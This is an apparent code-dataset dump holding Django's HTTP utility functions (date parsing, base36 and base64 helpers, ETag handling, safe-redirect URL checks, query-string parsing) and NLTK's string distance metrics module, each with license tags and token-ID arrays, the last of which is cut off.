the format 'Wdy, DD Mon YYYY HH:MM:SS GMT'. """ return formatdate(epoch_seconds, usegmt=True) def parse_http_date(date): """ Parses a date format as specified by HTTP RFC7231 section 7.1.1.1. The three formats allowed by the RFC are accepted, even if only the first one is still in widespread use. Returns an integer expressed in seconds since the epoch, in UTC. """ # emails.Util.parsedate does the job for RFC1123 dates; unfortunately # RFC7231 makes it mandatory to support RFC850 dates too. So we roll # our own RFC-compliant parsing. for regex in RFC1123_DATE, RFC850_DATE, ASCTIME_DATE: m = regex.match(date) if m is not None: break else: raise ValueError("%r is not in a valid HTTP date format" % date) try: year = int(m.group('year')) if year < 100: if year < 70: year += 2000 else: year += 1900 month = MONTHS.index(m.group('mon').lower()) + 1 day = int(m.group('day')) hour = int(m.group('hour')) min = int(m.group('min')) sec = int(m.group('sec')) result = datetime.datetime(year, month, day, hour, min, sec) return calendar.timegm(result.utctimetuple()) except Exception: six.reraise(ValueError, ValueError("%r is not a valid date" % date), sys.exc_info()[2]) def parse_http_date_safe(date): """ Same as parse_http_date, but returns None if the input is invalid. """ try: return parse_http_date(date) except Exception: pass # Base 36 functions: useful for generating compact URLs def base36_to_int(s): """ Converts a base 36 string to an ``int``. Raises ``ValueError` if the input won't fit into an int. """ # To prevent overconsumption of server resources, reject any # base36 string that is longer than 13 base36 digits (13 digits # is sufficient to base36-encode any 64-bit integer) if len(s) > 13: raise ValueError("Base36 input too large") value = int(s, 36) # ... then do a final check that the value will fit into an int to avoid # returning a long (#15067). The long type was removed in Python 3. if six.PY2 and value > sys.maxint: raise ValueError("Base36 input too large") return value def int_to_base36(i): """ Converts an integer to a base36 string """ char_set = '0123456789abcdefghijklmnopqrstuvwxyz' if i < 0: raise ValueError("Negative base36 conversion input.") if six.PY2: if not isinstance(i, six.integer_types): raise TypeError("Non-integer base36 conversion input.") if i > sys.maxint: raise ValueError("Base36 conversion input too large.") if i < 36: return char_set[i] b36 = '' while i != 0: i, n = divmod(i, 36) b36 = char_set[n] + b36 return b36 def urlsafe_base64_encode(s): """ Encodes a bytestring in base64 for use in URLs, stripping any trailing equal signs. """ return base64.urlsafe_b64encode(s).rstrip(b'\n=') def urlsafe_base64_decode(s): """ Decodes a base64 encoded string, adding back any trailing equal signs that might have been stripped. """ s = force_bytes(s) try: return base64.urlsafe_b64decode(s.ljust(len(s) + len(s) % 4, b'=')) except (LookupError, BinasciiError) as e: raise ValueError(e) def parse_etags(etag_str): """ Parse a string of ETags given in an If-None-Match or If-Match header as defined by RFC 7232. Return a list of quoted ETags, or ['*'] if all ETags should be matched. """ if etag_str.strip() == '*': return ['*'] else: # Parse each ETag individually, and return any that are valid. etag_matches = (ETAG_MATCH.match(etag.strip()) for etag in etag_str.split(',')) return [match.group(1) for match in etag_matches if match] def quote_etag(etag_str): """ If the provided string is already a quoted ETag, return it. Otherwise, wrap the string in quotes, making it a strong ETag. """ if ETAG_MATCH.match(etag_str): return etag_str else: return '"%s"' % etag_str def is_same_domain(host, pattern): """ Return ``True`` if the host is either an exact match or a match to the wildcard pattern. Any pattern beginning with a period matches a domain and all of its subdomains. (e.g. ``.example.com`` matches ``example.com`` and ``foo.example.com``). Anything else is an exact string match. """ if not pattern: return False pattern = pattern.lower() return ( pattern[0] == '.' and (host.endswith(pattern) or host == pattern[1:]) or pattern == host ) def is_safe_url(url, host=None, allowed_hosts=None, require_https=False): """ Return ``True`` if the url is a safe redirection (i.e. it doesn't point to a different host and uses a safe scheme). Always returns ``False`` on an empty url. If ``require_https`` is ``True``, only 'https' will be considered a valid scheme, as opposed to 'http' and 'https' with the default, ``False``. """ if url is not None: url = url.strip() if not url: return False if six.PY2: try: url = force_text(url) except UnicodeDecodeError: return False if allowed_hosts is None: allowed_hosts = set() if host: warnings.warn( "The host argument is deprecated, use allowed_hosts instead.", RemovedInDjango21Warning, stacklevel=2, ) # Avoid mutating the passed in allowed_hosts. allowed_hosts = allowed_hosts | {host} # Chrome treats \ completely as / in paths but it could be part of some # basic auth credentials so we need to check both URLs. return (_is_safe_url(url, allowed_hosts, require_https=require_https) and _is_safe_url(url.replace('\\', '/'), allowed_hosts, require_https=require_https)) # Copied from urllib.parse.urlparse() but uses fixed urlsplit() function. def _urlparse(url, scheme='', allow_fragments=True): """Parse a URL into 6 components: <scheme>://<netloc>/<path>;<params>?<query>#<fragment> Return a 6-tuple: (scheme, netloc, path, params, query, fragment). Note that we don't break the components up in smaller bits (e.g. netloc is a single string) and we don't expand % escapes.""" if _coerce_args: url, scheme, _coerce_result = _coerce_args(url, scheme) splitresult = _urlsplit(url, scheme, allow_fragments) scheme, netloc, url, query, fragment = splitresult if scheme in uses_params and ';' in url: url, params = _splitparams(url) else: params = '' result = ParseResult(scheme, netloc, url, params, query, fragment) return _coerce_result(result) if _coerce_args else result # Copied from urllib.parse.urlsplit() with # https://github.com/python/cpython/pull/661 applied. def _urlsplit(url, scheme='', allow_fragments=True): """Parse a URL into 5 components: <scheme>://<netloc>/<path>?<query>#<fragment> Return a 5-tuple: (scheme, netloc, path, query, fragment). Note that we don't break the components up in smaller bits (e.g. netloc is a single string) and we don't expand % escapes.""" if _coerce_args: url, scheme, _coerce_result = _coerce_args(url, scheme) allow_fragments = bool(allow_fragments) netloc = query = fragment = '' i = url.find(':') if i > 0: for c in url[:i]: if c not in scheme_chars: break else: scheme, url = url[:i].lower(), url[i + 1:] if url[:2] == '//': netloc, url = _splitnetloc(url, 2) if (('[' in netloc and ']' not in netloc) or (']' in netloc and '[' not in netloc)): raise ValueError("Invalid IPv6 URL") if allow_fragments and '#' in url: url, fragment = url.split('#', 1) if '?' in url: url, query = url.split('?', 1) v = SplitResult(scheme, netloc, url, query, fragment) return _coerce_result(v) if _coerce_args else v def _is_safe_url(url, allowed_hosts, require_https=False): # Chrome considers any URL with more than two slashes to be absolute, but # urlparse is not so flexible. Treat any url with three slashes as unsafe. if url.startswith('///'): return False url_info = _urlparse(url) # Forbid URLs like http:///example.com - with a scheme, but without a hostname. # In that URL, example.com is not the hostname but, a path component. However, # Chrome will still consider example.com to be the hostname, so we must not # allow this syntax. if not url_info.netloc and url_info.scheme: return False # Forbid URLs that start with control characters. Some browsers (like # Chrome) ignore quite a few control characters at the start of a # URL and might consider the URL as scheme relative. if unicodedata.category(url[0])[0] == 'C': return False scheme = url_info.scheme # Consider URLs without a scheme (e.g. //example.com/p) to be http. if not url_info.scheme and url_info.netloc: scheme = 'http' valid_schemes = ['https'] if require_https else ['http', 'https'] return ((not url_info.netloc or url_info.netloc in allowed_hosts) and (not scheme or scheme in valid_schemes)) def limited_parse_qsl(qs, keep_blank_values=False, encoding='utf-8', errors='replace', fields_limit=None): """ Return a list of key/value tuples parsed from query string. Copied from urlparse with an additional "fields_limit" argument. Copyright (C) 2013 Python Software Foundation (see LICENSE.python). Arguments: qs: percent-encoded query string to be parsed keep_blank_values: flag indicating whether blank values in percent-encoded queries should be treated as blank strings. A true value indicates that blanks should be retained as blank strings. The default false value indicates that blank values are to be ignored and treated as if they were not included. encoding and errors: specify how to decode percent-encoded sequences into Unicode characters, as accepted by the bytes.decode() method. fields_limit: maximum number of fields parsed or an exception is raised. None means no limit and is the default. """ if fields_limit: pairs = FIELDS_MATCH.split(qs, fields_limit) if len(pairs) > fields_limit: raise TooManyFieldsSent( 'The number of GET/POST parameters exceeded ' 'settings.DATA_UPLOAD_MAX_NUMBER_FIELDS.' ) else: pairs = FIELDS_MATCH.split(qs) r = [] for name_value in pairs: if not name_value: continue nv = name_value.split(str('='), 1) if len(nv) != 2: # Handle case of a control-name with no equal sign if keep_blank_values: nv.append('') else: continue if len(nv[1]) or keep_blank_values: if six.PY3: name = nv[0].replace('+', ' ') name = unquote(name, encoding=encoding, errors=errors) value = nv[1].replace('+', ' ') value = unquote(value, encoding=encoding, errors=errors) else: name = unquote(nv[0].replace(b'+', b' ')) value = unquote(nv[1].replace(b'+', b' ')) r.append((name, value)) return r
apache-2.0
[ 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 1300, 772, 199, 646, 11234, 199, 646, 2197, 199, 646, 295, 199, 646, 984, 199, 646, 23128, 199, 646, 3598, 199, 504, 14755, 492, 4520, 465, 32613, 4371, 547, 199, 504, 3031, 14, 1208, 492, 1475, 602, 199, 199, 504, 1639, 14, 1018, 14, 3924, 492, 22893, 4089, 7304, 17367, 199, 504, 1639, 14, 1208, 492, 3816, 199, 504, 1639, 14, 1208, 14, 23004, 492, 6879, 24811, 199, 504, 1639, 14, 1208, 14, 15383, 492, 23687, 2025, 3849, 199, 504, 1639, 14, 1208, 14, 2991, 492, 3542, 63, 2394, 12, 3542, 63, 495, 12, 3542, 63, 505, 199, 504, 1639, 14, 1208, 14, 15481, 492, 4215, 63, 6395, 63, 505, 199, 504, 1639, 14, 1208, 14, 4174, 14, 4912, 14, 4078, 14, 1122, 492, 334, 272, 6313, 12, 6313, 63, 6666, 12, 14342, 12, 14342, 63, 6666, 12, 16511, 465, 3379, 63, 10738, 12, 199, 9, 199, 199, 692, 3816, 14, 4521, 18, 26, 272, 687, 7097, 492, 334, 267, 6077, 2889, 12, 11740, 2889, 12, 485, 1294, 12652, 12, 485, 1294, 1162, 12, 5687, 63, 6574, 12, 267, 4440, 63, 1162, 12, 272, 776, 272, 485, 14141, 63, 589, 275, 488, 199, 2836, 26, 272, 687, 4011, 14, 1122, 492, 334, 267, 6077, 2889, 12, 11740, 2889, 12, 485, 14141, 63, 589, 12, 485, 1294, 12652, 12, 485, 1294, 1162, 12, 267, 5687, 63, 6574, 12, 4440, 63, 1162, 12, 272, 776, 199, 199, 3, 4079, 641, 7329, 1520, 8001, 12, 4693, 21522, 445, 199, 775, 1254, 63, 14747, 275, 295, 14, 2014, 8, 82, 2344, 272, 971, 33, 8, 420, 327, 1343, 402, 1059, 436, 12296, 1572, 272, 16697, 55, 15, 5547, 221, 327, 2716, 9282, 16385, 272, 298, 263, 327, 13618, 6313, 272, 359, 62, 937, 10, 259, 327, 1263, 3414, 402, 2222, 13, 3513, 4110, 272, 298, 263, 327, 1284, 6313, 272, 776, 60, 58, 420, 327, 1284, 402, 1059, 436, 12296, 1572, 199, 18108, 295, 14, 56, 9, 199, 199, 16413, 51, 275, 283, 24418, 1964, 66, 7557, 282, 2700, 1443, 1335, 324, 1335, 348, 18336, 7375, 17162, 949, 86, 9700, 1370, 1294, 342, 199, 363, 36, 275, 519, 10120, 48, 28, 2977, 3072, 68, 91, 18, 29668, 199, 363, 36, 18, 275, 519, 10120, 48, 28, 2977, 9514, 971, 68, 7272, 68, 3171, 199, 363, 45, 275, 519, 10120, 48, 28, 2106, 3072, 87, 91, 19, 29668, 199, 363, 57, 275, 519, 10120, 48, 28, 3403, 3072, 68, 91, 20, 29668, 199, 363, 57, 18, 275, 519, 10120, 48, 28, 3403, 3072, 68, 91, 18, 29668, 199, 363, 52, 275, 519, 10120, 48, 28, 5180, 3072, 68, 91, 18, 22558, 2229, 48, 28, 827, 3072, 68, 91, 18, 22558, 2229, 48, 28, 3321, 3072, 68, 91, 18, 29668, 199, 14468, 17, 4288, 63, 5390, 275, 295, 14, 2014, 8, 82, 15542, 87, 91, 19, 1386, 450, 83, 450, 83, 450, 83, 450, 83, 19152, 12913, 450, 25373, 36, 12, 636, 45, 12, 636, 57, 12, 636, 52, 430, 199, 14468, 21419, 63, 5390, 275, 295, 14, 2014, 8, 82, 15542, 87, 91, 22, 12, 25, 1386, 450, 83, 3295, 83, 3295, 83, 450, 83, 19152, 12913, 450, 25373, 36, 12, 636, 45, 12, 636, 57, 18, 12, 636, 52, 430, 199, 1179, 1028, 3465, 63, 5390, 275, 295, 14, 2014, 8, 82, 15542, 87, 91, 19, 93, 450, 83, 450, 83, 450, 83, 450, 83, 12913, 450, 25373, 45, 12, 636, 36, 18, 12, 636, 52, 12, 636, 57, 430, 199, 199, 14468, 29451, 63, 9289, 4424, 1469, 51, 275, 620, 20308, 10197, 3, 8607, 32, 531, 199, 14468, 29451, 63, 6348, 4424, 1469, 51, 275, 620, 19232, 4, 6, 7, 25608, 28061, 27, 23758, 199, 199, 12767, 63, 14747, 275, 295, 14, 2014, 11894, 6, 27, 10374, 421, 199, 32, 3250, 63, 6395, 63, 505, 199, 318, 1166, 3513, 8, 633, 12, 5048, 8805, 735, 272, 408, 272, 437, 1015, 402, 2018, 1159, 4011, 14, 3513, 342, 805, 626, 883, 19218, 641, 2649, 272, 3326, 14, 710, 1166, 365, 1642, 9094, 13, 24, 5737, 2544, 18593, 14, 710, 2138, 1059, 272, 883, 19353, 506, 1202, 465, 1777, 402, 376, 1423, 370, 282, 13372, 24086, 63, 475, 63, 2302, 342, 1240, 272, 1928, 4270, 13, 25272, 4781, 5985, 14, 272, 408, 272, 372, 3542, 63, 505, 8, 3513, 8, 3990, 63, 495, 8, 633, 395, 3542, 63, 495, 8, 3489, 1724, 421, 199, 32, 3250, 63, 6395, 63, 505, 199, 318, 1166, 3513, 63, 6666, 8, 633, 12, 5048, 9280, 272, 408, 272, 437, 1015, 402, 2018, 1159, 4011, 14, 3513, 63, 6666, 342, 805, 626, 883, 19218, 641, 272, 2649, 3326, 14, 710, 1166, 365, 1642, 9094, 13, 24, 5737, 2544, 18593, 14, 710, 272, 2138, 1059, 883, 19353, 506, 1202, 465, 1777, 402, 376, 1423, 370, 282, 13372, 272, 24086, 63, 475, 63, 2302, 342, 1240, 1928, 4270, 13, 25272, 4781, 5985, 14, 272, 408, 272, 372, 3542, 63, 505, 8, 3513, 63, 6666, 8, 3990, 63, 495, 8, 633, 395, 3542, 63, 495, 8, 3489, 1724, 421, 199, 32, 3250, 63, 6395, 63, 505, 199, 318, 1166, 12240, 8, 9888, 63, 633, 304, 272, 408, 272, 437, 4975, 367, 2018, 1159, 4011, 14, 12240, 342, 805, 626, 883, 19218, 641, 272, 314, 754, 402, 1639, 14, 1208, 14, 1014, 14, 633, 3513, 1252, 272, 408, 272, 372, 3542, 63, 505, 8, 12240, 8, 3990, 63, 495, 8, 9888, 63, 633, 1724, 421, 199, 32, 3250, 63, 6395, 63, 505, 199, 318, 1166, 12240, 63, 6666, 8, 9888, 63, 633, 304, 272, 408, 272, 437, 4975, 367, 2018, 1159, 4011, 14, 12240, 63, 6666, 342, 805, 626, 883, 19218, 641, 272, 314, 754, 402, 1639, 14, 1208, 14, 1014, 14, 633, 3513, 63, 6666, 1252, 272, 408, 272, 372, 3542, 63, 505, 8, 12240, 63, 6666, 8, 3990, 63, 495, 8, 9888, 63, 633, 1724, 421, 199, 318, 16511, 8, 1131, 12, 886, 3610, 29, 16, 304, 272, 408, 272, 437, 1015, 402, 2018, 1159, 4011, 14, 10738, 342, 805, 626, 883, 19218, 641, 272, 2649, 3326, 14, 710, 2633, 787, 1642, 9106, 370, 9094 ]
[ 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 1300, 772, 199, 646, 11234, 199, 646, 2197, 199, 646, 295, 199, 646, 984, 199, 646, 23128, 199, 646, 3598, 199, 504, 14755, 492, 4520, 465, 32613, 4371, 547, 199, 504, 3031, 14, 1208, 492, 1475, 602, 199, 199, 504, 1639, 14, 1018, 14, 3924, 492, 22893, 4089, 7304, 17367, 199, 504, 1639, 14, 1208, 492, 3816, 199, 504, 1639, 14, 1208, 14, 23004, 492, 6879, 24811, 199, 504, 1639, 14, 1208, 14, 15383, 492, 23687, 2025, 3849, 199, 504, 1639, 14, 1208, 14, 2991, 492, 3542, 63, 2394, 12, 3542, 63, 495, 12, 3542, 63, 505, 199, 504, 1639, 14, 1208, 14, 15481, 492, 4215, 63, 6395, 63, 505, 199, 504, 1639, 14, 1208, 14, 4174, 14, 4912, 14, 4078, 14, 1122, 492, 334, 272, 6313, 12, 6313, 63, 6666, 12, 14342, 12, 14342, 63, 6666, 12, 16511, 465, 3379, 63, 10738, 12, 199, 9, 199, 199, 692, 3816, 14, 4521, 18, 26, 272, 687, 7097, 492, 334, 267, 6077, 2889, 12, 11740, 2889, 12, 485, 1294, 12652, 12, 485, 1294, 1162, 12, 5687, 63, 6574, 12, 267, 4440, 63, 1162, 12, 272, 776, 272, 485, 14141, 63, 589, 275, 488, 199, 2836, 26, 272, 687, 4011, 14, 1122, 492, 334, 267, 6077, 2889, 12, 11740, 2889, 12, 485, 14141, 63, 589, 12, 485, 1294, 12652, 12, 485, 1294, 1162, 12, 267, 5687, 63, 6574, 12, 4440, 63, 1162, 12, 272, 776, 199, 199, 3, 4079, 641, 7329, 1520, 8001, 12, 4693, 21522, 445, 199, 775, 1254, 63, 14747, 275, 295, 14, 2014, 8, 82, 2344, 272, 971, 33, 8, 420, 327, 1343, 402, 1059, 436, 12296, 1572, 272, 16697, 55, 15, 5547, 221, 327, 2716, 9282, 16385, 272, 298, 263, 327, 13618, 6313, 272, 359, 62, 937, 10, 259, 327, 1263, 3414, 402, 2222, 13, 3513, 4110, 272, 298, 263, 327, 1284, 6313, 272, 776, 60, 58, 420, 327, 1284, 402, 1059, 436, 12296, 1572, 199, 18108, 295, 14, 56, 9, 199, 199, 16413, 51, 275, 283, 24418, 1964, 66, 7557, 282, 2700, 1443, 1335, 324, 1335, 348, 18336, 7375, 17162, 949, 86, 9700, 1370, 1294, 342, 199, 363, 36, 275, 519, 10120, 48, 28, 2977, 3072, 68, 91, 18, 29668, 199, 363, 36, 18, 275, 519, 10120, 48, 28, 2977, 9514, 971, 68, 7272, 68, 3171, 199, 363, 45, 275, 519, 10120, 48, 28, 2106, 3072, 87, 91, 19, 29668, 199, 363, 57, 275, 519, 10120, 48, 28, 3403, 3072, 68, 91, 20, 29668, 199, 363, 57, 18, 275, 519, 10120, 48, 28, 3403, 3072, 68, 91, 18, 29668, 199, 363, 52, 275, 519, 10120, 48, 28, 5180, 3072, 68, 91, 18, 22558, 2229, 48, 28, 827, 3072, 68, 91, 18, 22558, 2229, 48, 28, 3321, 3072, 68, 91, 18, 29668, 199, 14468, 17, 4288, 63, 5390, 275, 295, 14, 2014, 8, 82, 15542, 87, 91, 19, 1386, 450, 83, 450, 83, 450, 83, 450, 83, 19152, 12913, 450, 25373, 36, 12, 636, 45, 12, 636, 57, 12, 636, 52, 430, 199, 14468, 21419, 63, 5390, 275, 295, 14, 2014, 8, 82, 15542, 87, 91, 22, 12, 25, 1386, 450, 83, 3295, 83, 3295, 83, 450, 83, 19152, 12913, 450, 25373, 36, 12, 636, 45, 12, 636, 57, 18, 12, 636, 52, 430, 199, 1179, 1028, 3465, 63, 5390, 275, 295, 14, 2014, 8, 82, 15542, 87, 91, 19, 93, 450, 83, 450, 83, 450, 83, 450, 83, 12913, 450, 25373, 45, 12, 636, 36, 18, 12, 636, 52, 12, 636, 57, 430, 199, 199, 14468, 29451, 63, 9289, 4424, 1469, 51, 275, 620, 20308, 10197, 3, 8607, 32, 531, 199, 14468, 29451, 63, 6348, 4424, 1469, 51, 275, 620, 19232, 4, 6, 7, 25608, 28061, 27, 23758, 199, 199, 12767, 63, 14747, 275, 295, 14, 2014, 11894, 6, 27, 10374, 421, 199, 32, 3250, 63, 6395, 63, 505, 199, 318, 1166, 3513, 8, 633, 12, 5048, 8805, 735, 272, 408, 272, 437, 1015, 402, 2018, 1159, 4011, 14, 3513, 342, 805, 626, 883, 19218, 641, 2649, 272, 3326, 14, 710, 1166, 365, 1642, 9094, 13, 24, 5737, 2544, 18593, 14, 710, 2138, 1059, 272, 883, 19353, 506, 1202, 465, 1777, 402, 376, 1423, 370, 282, 13372, 24086, 63, 475, 63, 2302, 342, 1240, 272, 1928, 4270, 13, 25272, 4781, 5985, 14, 272, 408, 272, 372, 3542, 63, 505, 8, 3513, 8, 3990, 63, 495, 8, 633, 395, 3542, 63, 495, 8, 3489, 1724, 421, 199, 32, 3250, 63, 6395, 63, 505, 199, 318, 1166, 3513, 63, 6666, 8, 633, 12, 5048, 9280, 272, 408, 272, 437, 1015, 402, 2018, 1159, 4011, 14, 3513, 63, 6666, 342, 805, 626, 883, 19218, 641, 272, 2649, 3326, 14, 710, 1166, 365, 1642, 9094, 13, 24, 5737, 2544, 18593, 14, 710, 272, 2138, 1059, 883, 19353, 506, 1202, 465, 1777, 402, 376, 1423, 370, 282, 13372, 272, 24086, 63, 475, 63, 2302, 342, 1240, 1928, 4270, 13, 25272, 4781, 5985, 14, 272, 408, 272, 372, 3542, 63, 505, 8, 3513, 63, 6666, 8, 3990, 63, 495, 8, 633, 395, 3542, 63, 495, 8, 3489, 1724, 421, 199, 32, 3250, 63, 6395, 63, 505, 199, 318, 1166, 12240, 8, 9888, 63, 633, 304, 272, 408, 272, 437, 4975, 367, 2018, 1159, 4011, 14, 12240, 342, 805, 626, 883, 19218, 641, 272, 314, 754, 402, 1639, 14, 1208, 14, 1014, 14, 633, 3513, 1252, 272, 408, 272, 372, 3542, 63, 505, 8, 12240, 8, 3990, 63, 495, 8, 9888, 63, 633, 1724, 421, 199, 32, 3250, 63, 6395, 63, 505, 199, 318, 1166, 12240, 63, 6666, 8, 9888, 63, 633, 304, 272, 408, 272, 437, 4975, 367, 2018, 1159, 4011, 14, 12240, 63, 6666, 342, 805, 626, 883, 19218, 641, 272, 314, 754, 402, 1639, 14, 1208, 14, 1014, 14, 633, 3513, 63, 6666, 1252, 272, 408, 272, 372, 3542, 63, 505, 8, 12240, 63, 6666, 8, 3990, 63, 495, 8, 9888, 63, 633, 1724, 421, 199, 318, 16511, 8, 1131, 12, 886, 3610, 29, 16, 304, 272, 408, 272, 437, 1015, 402, 2018, 1159, 4011, 14, 10738, 342, 805, 626, 883, 19218, 641, 272, 2649, 3326, 14, 710, 2633, 787, 1642, 9106, 370, 9094, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
adazey/Muzez
libs/nltk/metrics/distance.py
1
6143
# Natural Language Toolkit: Distance Metrics # # Copyright (C) 2001-2016 NLTK Project # Author: Edward Loper <edloper@gmail.com> # Steven Bird <stevenbird1@gmail.com> # Tom Lippincott <tom@cs.columbia.edu> # URL: <http://nltk.org/> # For license information, see LICENSE.TXT # """ Distance Metrics. Compute the distance between two items (usually strings). As metrics, they must satisfy the following three requirements: 1. d(a, a) = 0 2. d(a, b) >= 0 3. d(a, c) <= d(a, b) + d(b, c) """ from __future__ import print_function from __future__ import division def _edit_dist_init(len1, len2): lev = [] for i in range(len1): lev.append([0] * len2) # initialize 2D array to zero for i in range(len1): lev[i][0] = i # column 0: 0,1,2,3,4,... for j in range(len2): lev[0][j] = j # row 0: 0,1,2,3,4,... return lev def _edit_dist_step(lev, i, j, s1, s2, transpositions=False): c1 = s1[i - 1] c2 = s2[j - 1] # skipping a character in s1 a = lev[i - 1][j] + 1 # skipping a character in s2 b = lev[i][j - 1] + 1 # substitution c = lev[i - 1][j - 1] + (c1 != c2) # transposition d = c + 1 # never picked by default if transpositions and i > 1 and j > 1: if s1[i - 2] == c2 and s2[j - 2] == c1: d = lev[i - 2][j - 2] + 1 # pick the cheapest lev[i][j] = min(a, b, c, d) def edit_distance(s1, s2, transpositions=False): """ Calculate the Levenshtein edit-distance between two strings. The edit distance is the number of characters that need to be substituted, inserted, or deleted, to transform s1 into s2. For example, transforming "rain" to "shine" requires three steps, consisting of two substitutions and one insertion: "rain" -> "sain" -> "shin" -> "shine". These operations could have been done in other orders, but at least three steps are needed. This also optionally allows transposition edits (e.g., "ab" -> "ba"), though this is disabled by default. :param s1, s2: The strings to be analysed :param transpositions: Whether to allow transposition edits :type s1: str :type s2: str :type transpositions: bool :rtype int """ # set up a 2-D array len1 = len(s1) len2 = len(s2) lev = _edit_dist_init(len1 + 1, len2 + 1) # iterate over the array for i in range(len1): for j in range(len2): _edit_dist_step(lev, i + 1, j + 1, s1, s2, transpositions=transpositions) return lev[len1][len2] def binary_distance(label1, label2): """Simple equality test. 0.0 if the labels are identical, 1.0 if they are different. >>> from nltk.metrics import binary_distance >>> binary_distance(1,1) 0.0 >>> binary_distance(1,3) 1.0 """ return 0.0 if label1 == label2 else 1.0 def jaccard_distance(label1, label2): """Distance metric comparing set-similarity. """ return (len(label1.union(label2)) - len(label1.intersection(label2)))/len(label1.union(label2)) def masi_distance(label1, label2): """Distance metric that takes into account partial agreement when multiple labels are assigned. >>> from nltk.metrics import masi_distance >>> masi_distance(set([1, 2]), set([1, 2, 3, 4])) 0.665... Passonneau 2006, Measuring Agreement on Set-Valued Items (MASI) for Semantic and Pragmatic Annotation. """ len_intersection = len(label1.intersection(label2)) len_union = len(label1.union(label2)) len_label1 = len(label1) len_label2 = len(label2) if len_label1 == len_label2 and len_label1 == len_intersection: m = 1 elif len_intersection == min(len_label1, len_label2): m = 0.67 elif len_intersection > 0: m = 0.33 else: m = 0 return 1 - (len_intersection / len_union) * m def interval_distance(label1,label2): """Krippendorff's interval distance metric >>> from nltk.metrics import interval_distance >>> interval_distance(1,10) 81 Krippendorff 1980, Content Analysis: An Introduction to its Methodology """ try: return pow(label1 - label2, 2) # return pow(list(label1)[0]-list(label2)[0],2) except: print("non-numeric labels not supported with interval distance") def presence(label): """Higher-order function to test presence of a given label """ return lambda x, y: 1.0 * ((label in x) == (label in y)) def fractional_presence(label): return lambda x, y:\ abs(((1.0 / len(x)) - (1.0 / len(y)))) * (label in x and label in y) \ or 0.0 * (label not in x and label not in y) \ or abs((1.0 / len(x))) * (label in x and label not in y) \ or ((1.0 / len(y))) * (label not in x and label in y) def custom_distance(file): data = {} with open(file, 'r') as infile: for l in infile: labelA, labelB, dist = l.strip().split("\t") labelA = frozenset([labelA]) labelB = frozenset([labelB]) data[frozenset([labelA,labelB])] = float(dist) return lambda x,y:data[frozenset([x,y])] def demo(): edit_distance_examples = [ ("rain", "shine"), ("abcdef", "acbdef"), ("language", "lnaguaeg"), ("language", "lnaugage"), ("language", "lngauage")] for s1, s2 in edit_distance_examples: print("Edit distance between '%s' and '%s':" % (s1, s2), edit_distance(s1, s2)) for s1, s2 in edit_distance_examples: print("Edit distance with transpositions between '%s' and '%s':" % (s1, s2), edit_distance(s1, s2, transpositions=True)) s1 = set([1, 2, 3, 4]) s2 = set([3, 4, 5]) print("s1:", s1) print("s2:", s2) print("Binary distance:", binary_distance(s1, s2)) print("Jaccard distance:", jaccard_distance(s1, s2)) print("MASI distance:", masi_distance(s1, s2)) if __name__ == '__main__': demo()
gpl-3.0
[ 3, 653, 292, 4889, 8466, 15650, 6065, 26, 21892, 10072, 11818, 202, 199, 3, 202, 199, 3, 1898, 334, 35, 9, 12521, 13, 9261, 24719, 15263, 7290, 202, 199, 3, 6529, 26, 17379, 3079, 491, 2262, 665, 379, 320, 529, 32, 6799, 14, 957, 30, 202, 199, 3, 260, 17854, 1856, 699, 5428, 665, 1597, 1856, 22488, 17, 32, 6799, 14, 957, 30, 202, 199, 3, 260, 21644, 491, 711, 7751, 331, 6215, 665, 3151, 32, 1259, 14, 761, 4295, 4674, 14, 8654, 30, 202, 199, 3, 2851, 26, 665, 1014, 921, 7530, 2663, 14, 1308, 3133, 202, 199, 3, 2104, 4190, 2556, 12, 1937, 5113, 14, 17715, 202, 199, 3, 2999, 199, 624, 202, 199, 10076, 10072, 11818, 14, 2999, 199, 8564, 314, 6033, 3382, 2877, 2974, 334, 25118, 3326, 680, 202, 199, 2822, 7186, 12, 2985, 1471, 23082, 314, 2569, 7795, 9760, 26, 2999, 199, 17, 14, 366, 8, 65, 12, 282, 9, 275, 378, 202, 199, 18, 14, 366, 8, 65, 12, 330, 9, 2356, 378, 202, 199, 19, 14, 366, 8, 65, 12, 286, 9, 2695, 366, 8, 65, 12, 330, 9, 435, 366, 8, 66, 12, 286, 9, 202, 199, 624, 2999, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 202, 199, 504, 636, 2443, 363, 492, 4629, 8065, 199, 318, 485, 3773, 63, 2686, 63, 826, 8, 552, 17, 12, 822, 18, 